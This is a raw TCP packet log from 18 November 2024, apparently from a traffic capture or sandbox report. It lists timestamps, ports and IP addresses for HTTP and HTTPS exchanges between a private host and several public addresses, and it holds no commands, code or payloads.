Nov 18, 2024 08:55:44.910206079 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910224915 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.910264015 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.940454960 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.942795992 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.942819118 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.943178892 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.943243980 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.943881989 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.943927050 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.945600986 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.945662022 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.946019888 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.946026087 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.946129084 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.972470999 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:44.972512960 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:44.972589016 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:44.972767115 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:44.972781897 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:44.977597952 CET	49910	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:44.977621078 CET	443	49910	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:44.977708101 CET	49910	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:44.977889061 CET	49910	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:44.977906942 CET	443	49910	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:44.991326094 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.062804937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062820911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062839031 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062860012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062874079 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062885046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062890053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.062891006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.062896967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.062951088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.062951088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.062999010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063011885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063035011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063043118 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063045025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063057899 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063072920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063072920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063077927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063090086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063093901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063116074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063122988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063122988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063128948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063142061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063152075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063155890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063163996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063180923 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063200951 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063218117 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063266039 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063278913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063292027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063308954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063333988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063338041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063338041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063345909 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063359022 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063378096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063426018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063436985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063442945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063453913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063476086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063486099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063498974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063503027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063509941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063524008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063527107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063550949 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063575983 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063606024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063617945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063630104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063642979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063657999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063679934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063687086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063699961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063711882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063726902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063750029 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063834906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063847065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063858986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063870907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063879967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063898087 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063921928 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063947916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.063978910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.063992023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064002991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064014912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064026117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064028978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064043999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064049006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064055920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064066887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064079046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064090967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064100981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064100981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064127922 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064127922 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064199924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064213037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064224005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064234972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064239025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064248085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064256907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064285040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064415932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064480066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064491987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064512014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064526081 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064578056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064593077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064604044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064627886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064654112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064659119 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064688921 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064702034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064713955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064728022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064760923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064764977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064765930 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064774036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064778090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064805031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064811945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064825058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064836979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064863920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064872980 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064877033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.064903021 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.064955950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065076113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065094948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065107107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065119028 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065119028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065133095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065141916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065145969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065157890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065169096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065193892 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065212965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065222979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065249920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065275908 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065351963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065365076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065388918 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065393925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065407038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065417051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065421104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065438032 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065462112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065546036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065558910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065570116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065581083 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065598011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065603018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065614939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065614939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065625906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065639019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065649986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065650940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065664053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065673113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065675974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065705061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065717936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065726042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065757036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065783024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065795898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065814018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065830946 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065851927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065864086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065896034 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.065943003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065954924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.065987110 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066061020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066071987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066092968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066106081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066107988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066117048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066126108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066132069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066148996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066159010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066170931 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066175938 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066205025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066252947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066286087 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066313028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066333055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066346884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066359997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066371918 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066392899 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066399097 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066406965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066425085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066457033 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066472054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066484928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066495895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066518068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066534042 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066543102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066554070 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066566944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066574097 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066581011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066587925 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066606045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066606998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066626072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066643000 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066713095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066724062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066750050 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066766977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066768885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066780090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066812038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066863060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066880941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066895008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066909075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.066910982 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.066941977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.067017078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.067028999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.067039967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.067049026 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.067078114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068094969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068106890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068120003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068133116 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068157911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068236113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068248987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068259001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068270922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068280935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068283081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068295002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068295956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068308115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068320990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068325996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068334103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068348885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068357944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068367004 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068370104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068382025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068392038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068406105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068413973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068419933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068433046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068444014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068444967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068455935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068468094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068474054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068480015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068492889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068500996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068506002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068516970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068517923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068542957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068543911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068557024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.068567991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.068595886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069474936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069525957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069621086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069633007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069653034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069664001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069664955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069675922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069688082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069691896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069710016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069717884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069729090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069736004 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069740057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069751978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069752932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069765091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069772959 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069804907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069830894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069849014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069863081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069864988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069875002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069888115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069890022 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069900036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069909096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.069912910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069926023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.069936991 CET	49844	80	192.168.2.7	185.215.113.206
